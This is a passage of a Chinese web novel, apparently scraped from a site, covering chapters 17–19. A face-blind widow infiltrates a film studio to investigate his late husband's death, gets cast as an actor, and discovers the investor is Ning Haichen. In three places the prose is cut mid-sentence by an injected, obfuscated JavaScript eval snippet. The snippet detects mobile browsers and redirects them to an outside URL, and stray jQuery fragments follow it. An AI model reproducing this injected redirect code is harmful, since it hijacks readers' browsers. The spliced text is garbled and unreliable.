也太限制级了吧!少年用力揉了揉自己耳朵,赶紧把想象从脑子里赶出去。
闻洄舟似乎也惊讶他在门外,重新戴上手套,男人神色如常,轻声问道:“少爷,您有什么需要吗?”
祁闲连忙摆手:“我没事,就是走两步。”
没等闻洄舟说更多,祁闲扭头跑回卧室。
和宁海尘通话期间,闻洄舟并没有在他眼皮子底下,还是不能完全打消他的怀疑。
他常年脸盲养成的认人直觉,或者说感应到的磁场,告诉他这其中有猫腻。
祁闲打开宁海尘的朋友圈,试图找到更多相关的线索。
这下还真让他找到了点关键。
和大多数男人一样,宁海尘的朋友圈很干净,只有少许看起来和工作相关的内容,关联的地址定位都在东郊艺术园区的深达影业。
深达影业……这个地方有点熟悉。
祁闲盯着这四个字琢磨了半天,才恍然想起来,他确认沈柏霆遗嘱的时候见到过这个名字,正是沈柏霆集团旗下的一个影视公司。
沈柏霆在意外去世之前,一直在处理深达影业的账目问题。
祁闲再度联系陈放。
“陈放,你能帮我搞个身份,让我进去深达影业工作不?”
陈放很是意外:“祁少,您怎么突然想去那里?”
祁闲:“这不你一直怀疑沈柏霆的死和深达影业有关系么?正好现在也没多少人认识我,亲自调查一下,说不定能查到些关键线索。”
陈放犹豫:“这……”
祁闲也没难为他,只是语气低落下去,通情达理却难掩失望:“没事,不行就算了,你忙你的吧,我不打扰了。”
“不不不,我这就给您安排!”陈放一听祁闲委屈了,立刻答应下来,“您要是过去,一定要带好保镖,注意安全。”
祁闲暗笑,果然装绿茶屡试不爽:“会的会的。”
陈放很快就帮祁闲搞好了身份——新入职的摄影师。
于是翌日一早,祁闲就带着俩保镖,前去深达影业。
他倒不是专门为了调查宁海尘才想的这出,真正让祁闲在意的,是只要深达影业背后埋的雷还在,就有可能也炸到他。
他至少得弄清楚,究竟都有谁在暗中想要他的命。
黑色保姆车停在影视公司大楼的地下车库,祁闲正要下车,微信弹出消息。
【摄影组长张维】:直接来片场找我吧,正好熟悉下工作环境。
祁闲:……行吧,上班第一天,领导的命令还是要听的。
祁闲关上车门,等到干完活再来探查也一样,而且片场肯定会聊很多八卦吧,能听到的消息应该不比办公室里的少。
张维所带的摄影组正负责拍摄一部民国偶像剧,片场在郊区的影视城。
黑色保姆车是影视城的标配,祁闲带着保镖下车,远处还有站姐对他举起长枪大炮,估计是把他当做了某个糊糊。
挺好,也省的被怀疑成其它身份。
“你们远远跟着就行,我会尽量在人多的地方。”祁闲悄悄嘱咐保镖陆峰,特别警告道,“千万别再当显眼包了。”
陆峰信誓旦旦:“放心吧祁少!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285473|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
祁闲掏出来黑框平光镜戴上,把自己伪装成沉默寡言的路人甲,拎着摄像机走进片场。
拿着陈放提供的身份照片,很快祁闲就找到了忙得热火朝天的张维。
“您好,我是新来的摄影。”祁闲凑到张维身边。
张维正和组内其它摄影确定走线,他扛着斯坦尼康,眼神都没分给祁闲半个:“行,知道了,新人先熟悉熟悉环境吧,有事儿会叫你。”
好好好。
工作第一天的新手保护期,祁闲可太喜欢了。
他麻利地扛着相机跑了,去干什么?当然是打探各种消息!
挂着摄像的工作证,祁闲想去哪儿就去哪儿,从民国虐恋乱晃到仙侠大女主,再晃到古装宅斗,遇到那些电视上才能见到的大明星,就停下来拍上几张。
“累死了,到底什么时候天上才能掉钱啊,我就不用工作了。”年轻的场务唉声叹气,坐在道具箱上,拿起小风扇对着自己猛吹。
“谁说不是呢。”年长的制片也停下来喘口气,“听说沈总的老婆刚结婚就继承了千亿遗产,瞧瞧人家的好命!”
吃瓜吃到自己头上,祁闲默默停住脚步,假装拍摄,实则偷听。
“沈总老婆到底是谁啊?”场务好奇得要命,“集团现在归他管吧,不知道有没有机会见到,好歹让我蹭蹭运气。”
“周总肯定不会让他来参加咱这边的事儿。”制片点燃一根女士香烟,深深一口,香烟就燃掉半截,“甭管集团被谁继承了,咱要做的,就是站好队。”
周总?祁闲默默记下,听起来像是和沈柏霆有过节的人。
旁边片场在吵架,特别闹腾,搞得他关键信息都要听不清了。
祁闲正打算凑得更近,或者加入这场谈话呢,突然被人拍了下肩膀。
祁闲吓了一跳,正要后退半步拉开安全距离,手腕却被抓住了。
“快快快,跟我来一下!”
“唉?您是……”
祁闲去瞅对方胸前的工作牌,导演助理?这是片场缺摄像了?抓他去顶工?
《念如潮汐》的片场,所有剧组人员都鹌鹑似的缩在原地不敢吭声,折叠凳早就被他们暴怒的导演宋远之踢翻了。
“之前聊的好好的,现在觉得另一个本子更有爆像就放我鸽子,还偏偏等到开机这天再说,到底几个意思?!”
“你说对不起有什么用!还重新选角?场景设备都已经租完了,耽误的这几天租金你出?所有演员的大计划都要跟着调整,造成的损失你担得起吗!”
“我告诉你,就你这种态度,一辈子也红不了,以后再也别想跟我们合作!”
宋远之骂的唾沫横飞,胸口剧烈起伏,连脖子都通红,趁着他骂人的气口,助理把茫然的祁闲推出去。
“宋导!”助理大声嚷道,“我临时抓了个人,您看看能演不!”
祁闲:???
“什么?”祁闲震惊地回头看助理,“大哥我是个摄像啊!”
宋远之怒火中烧的目光落在祁闲脸上。
助理迅速摘掉祁闲用来伪装的黑框眼镜,抬着祁闲下巴让他微微抬头,尽可能展现五官和面部线条。
宋远之走到祁闲面前,咬着烟嘴眯着眼,近距离端详数秒。
众人屏息凝神。
宋远之挑剔地啧了声,又满意地眯起眼,他用卷起的剧本拍拍祁闲肩膀,命令道:
“来,先哭一个给我看看。”
17.第 17 章
祁闲愣住:“啊?什么?”
宋远之暴躁道:“演一个得知家里人去世的反应,快点,别耽误时间。”
众人都眼巴巴盯着祁闲,期待少年能将他们从水深火热中拯救。
祁闲看不清导演面容,也不清楚什么情况,但直觉告诉他最好配合一下,以防导演下一秒变身暴怒喷火龙,龙卷风摧毁整个片场。
只是哭的话,他还算擅长。
在祁家学来的技能不多,装哭就是其中一项。
祁闲垂下眼眸,浓密睫毛轻颤,如同一片被呼吸惊扰的鸦羽,少年纤瘦的身体仿佛即将飘零在风中的秋夜细微地发着抖,他努力克制着,可紧咬的唇边仍逸出一丝受伤小兽般的呜咽。
他肩膀微微缩起,艰难吞咽下悲伤苦水,白皙纤长的脖颈上,血管正随着过激的情绪波动缓慢浮现,格外脆弱,也格外诱人。
再抬起眸时,祁闲眼中已然蓄起一汪泪水,他强忍着让这层水光只是在眶里打转,拼命阻拦它落下,直到眼尾沁得通红,才终于憋不住,泪水随着一声哽咽的啜泣,顺着面庞流下。
一时间,片场鸦雀无声。
所有人都震惊于祁闲竟然说哭就哭,而且……还哭得那么楚楚动人,任谁看了都要心生怜惜。
“妈呀。”助理悄悄掐了一把自己大腿,确定不是在做梦,喃喃道,“我这是瞎猫撞上死耗子,天上馅饼掉嘴里了?”
“好!好!”宋远之两眼放光,兴奋地直拍巴掌,“最开始听闻噩耗,不愿意相信,情感一层层累计,最后爆发再出眼泪,非常到位!就是你了!”
宋远之把剧本塞进祁闲手里:“男三号,抓紧时间看看剧本,把台词背了,半个小时后开拍。”
祁闲正用手背擦着泪呢,突然被塞了剧本,震惊道:“什么?我?拍戏?”
宋远之:“当然。”
祁闲赶忙摆手,磕磕巴巴地解释:“可我是干摄像的啊,不会演戏。”
宋远之笑了。
“你这样要是叫不会演戏,那整个组里就没有会演的人了。”他继续把剧本把祁闲手里塞,“演好了,一天的工资就能抵你当一个月摄像。”
祁闲还想推辞:“我脑子受过伤,不好使,可能背不下来词。”
宋远之:“没事,随便说什么都行,反正后期会配音,实在不行就念一二三四五六七。”
祁闲:“…………”
他风中凌乱了。
“不是。”祁闲凑到宋远之耳边,用只有他俩能听见的声音小声道:“导演,我其实有很严重的脸盲症,脸盲怎么能演戏呢?”
宋远之油盐不进:“没事,现在这年头,只要脸好看就行,而且你演技是有的,比我们原定的那个人还好很多。”
祁闲:“…………”
所以说,今天这个戏,他非演不可了?
陈放呢?救一救啊!
祁闲还想继续反抗,但宋远之转头去做其他安排了,演员找到,大计划不用再调整,只等祁闲熟悉一下剧本,就能开机。
无奈,他只能硬着头皮,接受现实。
助理把他拽去做妆造,祁闲趁机快速看剧本,再搭配助理的讲解,听了十多分钟,大概明白了。
《念如潮汐》是一部都市虐恋剧,女主角赵挽柠是个家境贫寒人憎狗嫌的小可怜,意外遇见想要让她当金丝雀的霸道法制咖男主顾宴琛。赵挽柠很有骨气地反抗顾宴琛的强取豪夺,在虐恋过程中,赵挽柠意外和青梅竹马的男三号齐洵重逢。
齐洵年少时就是赵挽柠生命中唯一的光,赵挽柠本以为这次齐洵也能救她于水火之中,可谁知齐洵丢失了小时候的记忆,无论赵挽柠再怎么主动靠近,讲出两人过去的两小无猜,齐洵也想不起来任何事,始终冷漠嫌弃。
顾宴琛发现了赵挽柠对齐洵的情谊,妒火中烧,手段变本加厉,甚至毁掉了赵挽柠在乎的所有东西,只为了将她彻底占有。
最终赵挽柠黑化,她假装顺从顾宴琛,利用顾宴琛的权势给自己伪造了新身份,在和顾宴琛温存时将他杀死,逃走后用新身份重新生活。
“好神奇的剧本。”听完助理讲解,祁闲啧啧称奇,他很少看国产剧,没想到现在还流行古早狗血的风格。
助理拍着胸脯向他保证:“观众就喜欢看虐到心肝疼的狗血内容,而且剧本后期还加入了黑化复仇的环节,你相信我们,这剧拍出来,绝对能爆!”
“而且你的角色是这个竹马,男三号,戏份足人设好,肯定收获一大波粉丝,就等着剧播了之后爆红吧!”
祁闲沉默一瞬,苦笑:“你确定是收获一大波粉丝而不是收获一大波刀片吗?这种忘记青梅还对她求救视若无睹的冰山男,应该下地狱炸油锅才对啊!”
“而且女主后期为啥不复仇竹马啊?要真想要爽,伤害过自己的人一个也不能放过,我要是主角,高低得狠狠收拾他一顿。”
“谁说不是呢?”没等助理解释,白裙女孩搭着话坐在祁闲对面,字里行间满是嫌弃,“都黑化了还留一手,没意思。”
祁闲抬头:“您是……”
白裙女孩伸出手:“陈芸悠,这部戏的女一号。”
祁闲赶忙伸出手,和陈芸悠握了一下:“我叫祁……王珩,叫我小王就好。”
他认不清脸,平时也不关注娱乐圈,但既然人家都能演女一号了,肯定很有名。
陈芸悠:“导演说找到合适的人了,我就过来看看,没想到英雄所见略同。”
祁闲:“大家都觉得有问题,不能让编剧调整一下剧本内容吗?”
陈芸悠耸肩:“哪儿这么容易,设定和走向是资方给的,还千叮咛万嘱咐一定要把情感做好,做极致。编剧只能把故事完善,改剧情?不可能。”
祁闲讶然:“资方还会给本子?”
陈芸悠四处望了望,见无人注意,将手拢到唇边,悄声道:“基本上不会,所以啊,我怀疑这个故事就是资方的亲身经历!”
资方的亲身经历?祁闲挠了挠头,那这个资方是男主?可谁会让自己最后被弄死啊。
那就是女主?资方被强取豪夺最后黑化?
真怪。
“所有人!各就各位。”
宋远之拿起喇叭高声喊着,祁闲赶紧放下剧本,和陈芸悠一起过去。
祁闲刚凑到跟前,宋远之便一把将他拽过去,指着剧本道:
“第一场演这个,赵挽柠从顾宴琛的囚禁中逃走,走投无路的时候路过咖啡店,看到了失恋多年的竹马,齐洵。赵挽柠冲进咖啡店,激动和齐洵相认,祈求齐洵带她走。”
祁闲傻眼:“等等,第一场就有我的戏份啊?”
宋远之:“对啊,这场戏是全剧第一个情感转折点,至关重要。”
他用力拍拍祁闲后背:“小伙子,好好干,我能把你捧火!从此之后,衣食无忧!”
祁闲:……可我已经衣食无忧了啊导演。
灯光道具摄像都准备完毕,祁闲不愿意耽误大家,只能赶鸭子上架。
他坐在咖啡桌前,收拾好心情,随着宋远之一声“action”,优雅地端起咖啡杯,垂眸抿了口。
【长发凌乱,一袭赵挽柠推开咖啡店的门,赤着的双脚上满是伤口,她几近癫狂的冲到青年面前,双眼含泪,脏兮兮的双手攥紧他的手,仿佛抓住最后一根救命稻草。
“齐洵哥哥!是你吗?是你吗!”
齐洵抬眸,面前女孩的面容模糊成一片,似笼罩在迷雾当中。他眉头微蹙,礼貌且防备地把手从女孩掌中抽出,试探地问:“您是……”
“我是柠柠啊!你不记得我了吗!”赵挽柠手足无措,她身体前倾,急切地表明身份,“咱们从小就是邻居,一起在滨海长大,后来我从滨海搬走,就再也联系不上你了。对!你手腕上的这道疤,是我被混混纠缠,你帮忙挡受伤留下的!我不可能认错!”
齐洵微微一怔。
但下一秒,他将衣袖拉下,遮住手腕上的陈旧疤痕。
“不好意思小姐。”齐洵拿出手机,明明说着关心话语,语气却冷漠疏离,“您好像遇到了点麻烦,需要我帮您报警吗?”】
“卡!”宋远之兴奋至极,“情感把握的非常到位!这条过了!”
“可以啊。”陈芸悠惊讶地戳戳祁闲胳膊,“全都接住了,你真是第一次演戏?”
祁闲点头。
他确实第一次在片场演戏,但在生活中,也算好几年的老演员了。
面对陈芸悠的夸赞,少年笑着低下头,去看手腕上的疤痕。
那并非化妆师画在腕骨处,属于剧中齐洵的疤。
而是他自己的、刻在手腕内侧的浅浅一道,早就随着时光流逝淡化。
要不是和对戏过程中被拽进情景中,祁闲几乎都要遗忘掉了。
是巧合吗?
导演和副导演凑在一起回看片子,宋远之满意点头:“确实挺不错,都到位了。”
摄像组长笑呵呵道:“宋导这次淘到宝了啊!”
“切。”
这时冒出来的不屑嘲讽格外扎耳,清晰传入众人耳中,“一点技术含量都没有,木着张脸说台词就行,大街上随便抓来个人都能演。”
祁闲听声辨位,迅速捕捉到目标,西装革履的青年双手抱胸四仰八叉地仰在躺椅里,身边助理单膝蹲着给他吹小风扇,手里还端着杯冰美式。
“这是男一号朱屿潇,正红着呢。”陈芸悠小声在祁闲耳边提醒,“你别惹他。”
难怪这么牛气轰轰。
祁闲不想惹任何人,但前提是,也别有人来主动招惹他。
他暂时当做没听见,继续和陈芸悠对台词。
但这反应无疑助长了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290696|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朱屿潇的嚣张,他轻蔑地哼笑一声,开始从头到脚地点评祁闲。
“靠本能演戏走不长的,明知道自己是被临时抓过来的,竟然不趁现在休息抓紧时间看剧本,揣摩人物,还聊起天来了,我说啊,现在真是什么阿猫阿狗都想往圈子里挤,简直是对行业的亵渎。”
祁闲:“…………”
他终于正儿八经地看向朱屿潇,和故意仰着下巴挑衅的青年对视。
“谁说不是呢!”祁闲突然超大声地猛拍大腿,仿佛找到知己,大步上前握住朱屿潇的手:“我也觉得!演艺圈怎么随便成这样啊,□□都能随便点评人类,怪不得大家都瞧不起!”
朱屿潇甩开祁闲的手,蹭地站起来,冷冷道,“你什么意思?”
“我什么意思。”祁闲无辜地眨眼,仿佛没听懂朱屿潇的话,“我是觉得您对行业的分析很棒,很有见地,真是癞蛤蟆吃萤火虫,心知肚明啊!”
“你!”朱屿潇听出来祁闲在嘲讽他,恼羞成怒,猛地伸手去抓住他衣领。
怎料祁闲突然蹲下,朱屿潇抓了个空。
祁闲系好自己的运动鞋,顺便把朱屿潇的皮鞋系带解开了。
嘿嘿,待会儿绊倒你!
周围人群突然吵嚷,声势比刚才他和朱屿潇对线时还浩荡,祁闲迅速把手缩回来。
——不会吧,他就是偷偷解个鞋带报复回去,惹得众怒了?
祁闲试探着抬头,只见原本还在围观对线的剧组众人此刻都涌去斜侧方。
外围的人还在尽力朝里面挤,就连本打算给他点颜色瞧瞧的朱屿潇都慌忙凑过去,试图刷一波存在感。
陈芸悠兴奋道:“是资方老板!他竟然来探班了。”
祁闲踮起脚,捕捉到了最中央的挺拔身影:“就是那个把自己当做剧本原型的资方?”
“对啊。”陈芸悠瞅了两眼资方,见自己应该挤不进去了,干脆留在原地,担忧对祁闲道,“你也太大胆了吧,直接和朱屿潇吵,他肯定联合剧组里其他人排挤你。”
“我管他。”祁闲耸肩,“本来我就是被你们导演抓过来的,他惹我不高兴,我就罢演,看导演会站在谁这边。”
陈芸悠震惊盯着祁闲看了两秒,竖起大拇指:“牛。”
众人都在赶着跪舔资方,祁闲毫无兴趣,毕竟他本身就是最大的资本。
他和陈芸悠说了声,去换下一场戏的衣服。
更衣室在化妆间里,祁闲刚把衬衣脱掉,就听到有人在外面说话。
“哥,难得你来剧组一趟,今晚……要不要一起吃个饭?”
饶是祁闲对嗓音敏感,也费了点力气,才认出这夹到快要累死声带,尾音恨不得山路十八弯,试图魅惑众生的嗓音,属于几分钟前还在朝他大吼大叫的朱屿潇。
“没空。”资方言简意赅,反问道,“你很闲?宋远之没给你排夜戏?”
朱屿潇慌忙辩解:“排了排了,我想着吃顿饭也花不了多久……”
资方冷冷打断他:“该干嘛干嘛去,别浪费我时间。”
祁闲:噗呲。
想要勾引资方,结果被嫌弃了吧?
祁闲最乐得看势利眼吃瘪了,他弯起眉眼,耳朵贴近更衣室门帘,想听得更清。
下一秒,门帘被唰的声拉开,男人背光投下的阴影将祁闲笼罩其中。
糟糕,被发现了!
祁闲慌忙抬头,可男人紧逼着向前,让他只能后退半步,脊背紧贴在墙上。
“好听吗?”
祁闲视线越过男人肩膀,确定朱屿潇走了,点头承认:“还行。”
“是故意要抓我的把柄,还是想学他?”男人低头瞅了眼,祁闲沉迷听墙角,衣服一直卡在手肘间,忘记套头,上半身算是光着的,“你倒是比他更直接。”
什么啊?把他也当成想潜规则上位的家伙了?
祁闲简直要气笑,他立刻把衣服套上,手指点着男人胸口,使劲把他往外推。
“我劝你谨言慎行,要潜规则也是我潜你。”
“哦?”对方挑眉。
祁闲给自己打气:“我的身份说出来,吓死你。”
“是吗?”男人低笑一声,从口袋里掏出手机,“说来听听?”
祁闲余光瞥见他打开了通讯录,摇人是吧,他也会啊,看谁摇过来的人更厉害!
他立刻摸手机,找到陈放的名字,正要按下拨打键,铃声却响了。
忙着呢,谁啊打来的这么没眼色。祁闲正要挂断,却看清了来电显示。
——宁海尘。
祁闲怔了两秒,木然抬头。
男人朝他亮着手机屏幕,明晃晃的“小没良心”四个大字闪到祁闲的眼。
宁海尘不再故意压低嗓音,话语带着几分咬牙切齿:
“第二次了,你怎么还是认不出来我?”
18.第 18 章
祁闲石化了:“……”
谁能告诉他,为什么宁海尘会出现在这里,还是以资方的身份,那种以自身经历提供虐恋剧本的资方。
这合理吗?这不合理。
祁闲眼神慌乱得到处飘:“那个,你听我解释。”
“你说。”
宁海尘挂断电话,他摘下口罩,保持把祁闲堵在更衣室的姿势,洗耳恭听少年的回答。
祁闲咬着唇,绞尽脑汁地搜罗借口。
在宁海尘心中,他肯定已经变成“提裤子不认人”的代名词了。可自己就是认不清脸,他也很绝望啊!
怎么办……怎么办啊……
有了!
祁闲突然灵机一动,想到勉强合适的借口。
他把脸偏到一边,不去和宁海尘对视,语调寡淡冷漠:“以我的身份,不适合在外面和你认识。”
宁海尘弯起眼眸:“哦?什么身份?说出来能吓死我的那个?”
可恶。宁海尘摆明开始调戏他了。
祁闲不想和宁海尘掰扯,他们挤在狭小的更衣室里,随时都可能有人进来撞见个正着。
祁闲用力推开宁海尘,绷着脸要走,刚迈开两步,却被抓住手腕。男人含着笑,轻声问道:
“是沈总的遗孀吗?”
祁闲瞪大双眼,无声地倒吸一口凉气。
果然!他分明知道!
宁海尘是和深达影业相关的投资方,肯定也认识沈柏霆。所以,初见那晚自己对宁海尘疯狂吐槽沈柏霆的时候,宁海尘就知道他在骂谁了,还故意骗他说不认识沈柏霆。
什么破人啊!
祁闲尽量稳定情绪:“那你还敢对我动手动脚,我警告你啊,老实点,不然……
“不然?”
祁闲咬牙:“不然我就把你搞了老板遗孀的事儿说出去,闹它个满城风雨!”
“别啊,这种伤敌一千自损八百的事儿咱可不能干。”宁海尘帮祁闲折下竖着的衣领,偏头凑到他耳边,“况且沈柏霆也不是我老板,我这顶多算搞了合作方的老婆。”
尾音低成含笑的气声,打着旋地钻进祁闲耳窝,似有香根草质地的馥奇香潜藏在海盐味之下。
祁闲敏锐嗅到了这股别样的气息,很熟悉,究竟还再哪儿嗅到过呢?
他想要去探寻,可气流搔动的痒意让他率先痒得下意识缩起肩膀,歪头去蹭。
宁海尘却抓住这机会,在他耳尖轻啄,落成了一个吻。
祁闲:!!!
少年瞪大双眼,猛猛提膝,给他一脚——
但宁海尘在祁闲动作的那瞬间,就立刻并紧膝盖,避免了一次致命打鸡。
“啧,怎么还动手了呢?”
祁闲反击不成,有些恼怒。
可恶,他为什么能反应这么快啊!难道之前有过类似的经验?
一击不成,祁闲换成手肘直捣黄龙。
他头部受过损伤,经常思维缓慢,但挺会打架的,从前祁珩和他对打,都只有输的份。
“来真的啊?”宁海尘赶忙侧身,躲过祁闲的肘击,又迅速向后一躲,祁闲的脚狠狠跺在了方才他的鞋面所在。
跑的好快!
祁闲决定调整回击方案。
少年双手抬起,捧住宁海尘的脸,掌心贴上面颊,明显感觉到男人有片刻怔忪。
好机会!
祁闲心中冷哼一声,踮起脚,准备用自己的脑壳,重击宁海尘的额头——
宁海尘却理解错了他的意思,甚至带了几分笑意,把嘴凑上前。
于是,祁闲的脑袋狠狠撞在了一个柔软的东西上。
准确来说,是先软后硬。
软的嘴唇,硬的牙齿。
“嘭”的一声闷响,宁海尘捂着嘴,踉跄地后退两步,快要疼晕过去了。
祁闲捂着脑壳,也痛的眼中泛起泪花:“你……你有病啊?!”
回答他的,是宁海尘从鼻腔中闷出的几声痛苦呻吟。
祁闲赶忙伸手阻止他开口:“等等先别说话,我怕你一口血吐出来。”
他扭身跑出更衣室,在化妆台上拿了几张纸巾,捂在宁海尘唇间。
宁海尘松开捂着嘴的手,祁闲观察着纸巾,还好还好,没透出血色。
“你说说你,非得闹我,现在老实了吧?”祁闲叹气。
他俩在狭窄的更衣室里你来我往,都快把门帘扯下来了,幸好这边人少,否则第二天小演员和投资方在后台大打出手的新闻就得占据花边八卦的板块。
“你好歹手下留情,真要把我往死里打啊?”宁海尘从疼痛中缓过劲来,拿开纸巾,又用手背碰了碰唇,确定并未血流成河。
“谁叫你欺负我。”祁闲自知理亏,小声嘟囔。
他有些心虚,这次专门用假身份来深达影业,是要调查沈柏霆遇害的真相。
既然宁海尘是和深达影业关系颇深的资方,肯定知道很多内部,他本可以趁此机会,从宁海尘嘴里套出点有用的信息。
但他把宁海尘打了。
他现在安抚对方情绪,还有用吗?
应该有的……吧?
“伤的重吗?我看看。”祁闲硬着头皮伸出和平的橄榄枝。
宁海尘倒也俯下身,让他仔细观察伤处。
表面瞅着倒还好,祁闲伸出手,食指拖住宁海尘下巴,拇指指腹轻按在唇瓣,想要去看内侧被牙齿磕到的地方。
宁海尘屏住呼吸。
仿佛扫过的温热气流重了,就会将少年向内探寻的指尖惊扰。
“你们在干什么!!!”
震惊的暴喝声吓得祁闲手一抖,和宁海尘齐刷刷扭头看去,只见剧组的一大帮人在朱屿潇的带领下,站在化妆间门口。
朱屿潇手指着祁闲,语调中满是鄙夷和得意:“刚进组就勾引资资方,宋导,您看看您找了个什么人啊!”
宋远之的脸色相当难看。
他本来觉得这被赶鸭子上架的小孩傻乎乎的,情商也不咋地,现场都能喝朱屿潇吵起来,容易吃亏,还抱着护一护的心思。
怎料到转头人家就去勾搭投资方了。
被半个剧组的人撞破,瞧宁哥这咬牙切齿的表情,估计是要一声令下,把人封杀了啊!
他还得重新找角色,戏又没法拍了!
宋远之凄然绝望。
见所有人都不吭声,朱屿潇唇角扯出一抹胜利者的笑意,宁哥的脸都快比锅底黑了,这小子肯定吃不了兜着走。
他挑衅看向祁闲:瞧吧,这就是得罪我的下场!
早就迅速戴回口罩的宁海尘声若寒冰:“你,给我滚出去。”
朱屿潇对祁闲挑眉:“听见了吧,还不快滚?”
祁闲阖上眼,叹了口气。
再睁开时,看向朱屿潇的眸中写满同情:“那什么,他说的好像是你。”
朱屿潇一愣,难以置信地看向宁海尘。
“滚。”宁海尘漠然望向宋远之,“别让我再看到他。”
宋远之夹紧屁股昂首挺胸:“是!”
“保安,把这个人拖走。小陈,快联系之前试镜的人,重新定男一号。”
朱屿潇奋力挣扎:“不是,你们肯定弄错了,明明是这个王珩——!”
祁闲歪头,纯良地眨眨眼。
朱屿潇被保安夹着胳膊拖走,噪音消失了。
饶是祁闲重度脸盲,也能想象得出门口众人都有怎样精彩的各色表情。
“都散了都散了!该干啥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304340|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
干啥去!”宋远之挥手驱散人群,对宁海尘和祁闲点头哈腰,贴心地帮他们关上化妆间的门。
世界重新安静了。
“噗。”祁闲终于难绷,强忍着的笑意破功,他倒在沙发上,哈哈笑得泪都出来了。
宁海尘在他身边坐下:“爽到了?”
“当然。”祁闲抹了把眼角的泪,“原来后台硬是这种感觉啊,谁欺负到我头上谁就倒霉,简直爽死了。”
宁海尘:“之前欺负你的人很多吗?”
祁闲随口点头道:“多啊,反正我在家里谁都能踩上一脚,幸亏和沈柏霆结婚了,现在有钱有权,总算有好日子过。”
他顿了顿,又认真补充道:“所以我很感激沈柏霆,至少要为他守孝……不对,守寡三年,你就老实点,别再勾搭我了,好吗?我怕他气得从坟里爬出来。”
宁海尘:“新婚老婆独守空房,我帮他照顾家眷,沈柏霆泉下有知该感谢我才对。”
祁闲震惊。
……行,你无敌了。
他确定和宁海尘说不通,这人一肚子歪理,摆明了要缠上他。
但,为什么呢?
宁海尘看上了他这个人?祁闲还没自恋到如此地步。
看中了他所继承的,沈柏霆的遗产?
倒还有几分可信度。
而且,祁闲总觉得奇怪。
更衣室里,在宁海尘吻上他耳尖时,祁闲嗅到了一缕缥缈的馥奇香,潜藏在独属于宁海尘的海盐气息中。
直到现在,他也无法完全排除宁海尘和闻洄舟是同一个人的可能性。
他看过闻洄舟的后背,可如果是那晚自己喝多记忆出现差错,其实没在宁海尘后背留下痕迹呢?给宁海尘打电话,闻洄舟的手机未见猫腻,也能用闻洄舟有两个手机来解释。
得再想办法测试才行。
“你今晚有空吗?”祁闲问了和朱屿潇同样的问题。
但宁海尘给了截然相反的回答:“有。”
“那你等我啊,我先去拍戏,晚上找你。”祁闲撂下这句话,起身要走。
既然决定测试宁海尘的身份,就得精心准备,决不能像前两次那般,出现纰漏。
嗯……单靠他自己可能难搞定,得求助外援。祁闲正要掏手机告诉白遥,却在走出化妆间的下一刻被抓住了。
“跟我来。”宋远之严肃把祁闲拽到旁边的小房间里,言简意赅,“坐。”
祁闲一头雾水,听话落座。
宋远之双手撑着桌子,听着像恨铁不成钢,又像苦口婆心:“宁哥真看上你了?”
这话问的。祁闲点头,然后摇头。
宁海尘确实对他有不轨之心,但肯定不属于宋远之理解的业内潜规则。
“算了,你们俩到底咋回事我管不着,就是好心提醒你一句,他们这种大佬,阴晴不定,你别真指望能靠他得到多少好处,今天他能让朱屿潇滚蛋,明天也能让你滚蛋。还有,你在剧组的这几天,最好别再给我惹事,听见没?”
祁闲:“嗯嗯,别人不惹我,我肯定不会主动惹事。”
宋远之烦躁叹气,把合同推给祁闲:“先签合同吧。”
祁闲乖乖应着,翻阅合同,确定没问题,签下自己的大名,再按手印。
宋远之拿过合同,随意搭了一眼,眼珠子差点从眼眶里瞪出来:“祁祁祁……祁闲?!你叫祁闲?沈总新婚老婆的那个祁闲?!”
祁闲:“嗯呐。”
宋远之瞳孔地震。
他骇然抬头,盯着面前正在找纸巾擦手上印泥的少年,想到自己刚才都放了些什么屁话,眼前猛地一黑。
还有。
撞见老总裁的新婚老婆和资方偷情怎么办?他会不会被沉湖啊。
19.第 19 章
“不好意思啊导演,之前实在不方便明说。”
祁闲擦干净手指上的印泥,把纸巾扔进垃圾桶,笑道“本来想用假身份的名字呢,但毕竟是合同,还是签的正经点为好。”
“您、您怎么会过来片场?!”宋远之舌头打结,说话都磕绊了,“我不是说您不该来,助理拽您来演戏的时候,您怎么没拒绝啊!”
“我要拒绝不就暴露身份了嘛。”祁闲无奈摊手,“而且你当时也没给我拒绝的余地啊,直接就让我开演了。”
宋远之脑袋发晕,汗流浃背。如果世界上有时光机就好了,那他就能穿越到两个小时前,把暴怒状态下强行命令微服私访的信任老板演戏的自己一拳打晕!
怪不得宁哥会让朱屿潇滚蛋……片场和真正的大老板对骂,还带着所有人去抓奸,没把朱屿潇封杀都是饶了他一命啊!
“不过现在合同也签了,就这么着吧,正好借这个机会,视察工作。”
